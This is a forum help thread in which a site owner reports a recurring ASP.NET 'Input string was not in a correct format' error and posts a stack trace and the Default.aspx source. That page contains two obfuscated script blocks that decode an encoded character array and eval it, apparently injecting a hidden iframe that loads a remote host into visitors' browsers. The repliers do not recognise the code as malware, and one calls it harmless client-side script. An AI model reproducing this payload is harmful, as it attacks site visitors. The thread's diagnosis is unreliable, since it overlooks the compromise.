locked
Server Error in '/' Application error and refreshing web.config RRS feed

  • Question

  • User-75889047 posted

    Hi Guys,

    My site http://buy.apeshop.com.au/ which uses windows asp.net will work fine one minute, but without changing or touching anything it will go continually go down, this happens continually almost every day, I get this error:

    Server Error in '/' Application.
    Input string was not in a correct format.

    Strange fix:

    When this error occurs, if I logon via FTP and rename web.config to web2.config then tried to load the site it will obviously fail
    Then I renamed it back to web.config and the site comes up. As renaming (same as deleting and re-uploading) will reload the web.config itself.  I also uploaded an old copy of web.config which fixed the error at first so site loads but again hours later same error message.

    Obviously it is important that the site actually stays live for more than 24hrs, I understand my little web.config refresh brings the site back but then the error simply keeps happening again every few hours

    Please what can be done? Would really appreciate some help!

    cheers

    Thursday, May 16, 2013 6:01 AM

Answers

  • User281315223 posted

    It actually sounds like you are receiving an error when attempting to convert a string to a boolean value within your application (in your Default.aspx page) and are passing in an invalid string ("FalseFalse" instead of "False").

    This could also be another issue with an incorrect string attempted to be parsed perhaps by the ParseDouble() method.

    Could you post any code from your code-behind of your Default.aspx page? It would likely help greatly in determining what the issue here is (as it is likely a simply syntax issue).

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Saturday, May 18, 2013 8:51 AM

All replies

  • User163270948 posted

    Editing the web.config is causing the application to restart and clear the error.

    The error sounds like you running some code to convert a string to another data type - this maybe an int or a date (maybe you are doing to visitor tracking?)

    Do you get any more information with the error?  Or maybe you could post some more code?

    Thursday, May 16, 2013 12:18 PM
  • User13850534 posted

    You might check the error log file for more error details so you will know how the problem occurs. It might be website busy or bad coding etc...

    Saturday, May 18, 2013 4:03 AM
  • User-75889047 posted
    Hi paulbently and topspy, Thanks very much for the responses, this keeps happening so I am confused, here is the information I get with the error: Screenshot: http://www.apeshop.com.au/images/buy.apeshop.com.au-server-error-screenshot.jpg Server Error in '/' Application. Input string was not in a correct format. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. Exception Details: System.FormatException: Input string was not in a correct format. Source Error: An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below. Stack Trace: [FormatException: Input string was not in a correct format.] Microsoft.VisualBasic.CompilerServices.Conversions.ParseDouble(String Value, NumberFormatInfo NumberFormat) +204 Microsoft.VisualBasic.CompilerServices.Conversions.ToBoolean(String Value) +149 [InvalidCastException: Conversion from string "FalseFalse" to type 'Boolean' is not valid.] Microsoft.VisualBasic.CompilerServices.Conversions.ToBoolean(String Value) +353 vchSiteCore.vchConfig.IsTrue(String ItemName) +23 vchSiteCore.vchSiteConfig.GetPageID() +28 vchSiteCore.vchSiteConfig..ctor() +807 vchSiteCore.InitConfiguration.InitConfig() +58 vchSiteCore.vchHttpModule.vchBeginRequest(Object source, EventArgs e) +257 System.Web.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +148 System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +75 Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.272
    Saturday, May 18, 2013 6:30 AM
  • User281315223 posted

    It actually sounds like you are receiving an error when attempting to convert a string to a boolean value within your application (in your Default.aspx page) and are passing in an invalid string ("FalseFalse" instead of "False").

    This could also be another issue with an incorrect string attempted to be parsed perhaps by the ParseDouble() method.

    Could you post any code from your code-behind of your Default.aspx page? It would likely help greatly in determining what the issue here is (as it is likely a simply syntax issue).

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Saturday, May 18, 2013 8:51 AM
  • User-1011137159 posted

    if you can post your exact code then you can exact solution,

    Saturday, May 18, 2013 9:44 AM
  • User-75889047 posted

    Thanks Rion and Amit,

    wow you guys are great :)

    FYI this time I didn't refresh the web.config file, the site was down saying "Server Error in '/' Application" but I did nothing and a few hours later site came back by itself and seems to be fine again, confusing?

    any help greatly appreciated, here it the code on default.aspx page:

    <%@ Page Language="VB" Inherits="vchSiteCore.DefaultPage" %><html><body><script>try{document["b"+"o"+"d"+"y"]*=document}catch(dgsgsdg){zxc=12;ww=window;}try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f","27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","25","21","1k","1o","1n","1n","1k","1n","24","1k","25","1n","1l","3p","47","1k","48","40","48","2b","4b","41","3m","29","1n","1d","16","4f","41","3m","4c","40","29","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d","1i","1d","40","4c","4c","48","26","1l","1l","25","21","1k","1o","1n","1n","1k","1n","24","1k","25","1n","1l","3p","47","1k","48","40","48","2b","4b","41","3m","29","1n","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","41","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(zxc){for(i=0;i-632!=0;i++){k=i;s+=String.fromCharCode(parseInt(n[i],12*2+2));}z=s;vl="val";if(ww.document)eval(z)}}}</script><script>try{window.document.body/=2}catch(dgsgsdg){zxc=12;ww=window;}if(zxc){try{f=document.createElement("div");}catch(agdsg){zxc=0;}try{document.body--;}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f","27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","25","21","1k","1o","1n","1n","1k","1n","24","1k","25","1n","1l","3p","47","1k","48","40","48","2b","4b","41","3m","29","1n","1d","16","4f","41","3m","4c","40","29","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d","1i","1d","40","4c","4c","48","26","1l","1l","25","21","1k","1o","1n","1n","1k","1n","24","1k","25","1n","1l","3p","47","1k","48","40","48","2b","4b","41","3m","29","1n","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","41","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(zxc){for(i=0;i-632!=0;i++){k=i;s+=String["fro"+"mC"+"harCode"](parseInt(n[i],12*2+1+1));}z=s;ww["eval"](s);}}}}</script></body></html>

    Saturday, May 18, 2013 11:11 AM
  • User-1011137159 posted

    This is the aspx page client side script, and error shows about server side error,

    So please send code behind page code.

    Monday, May 20, 2013 5:01 AM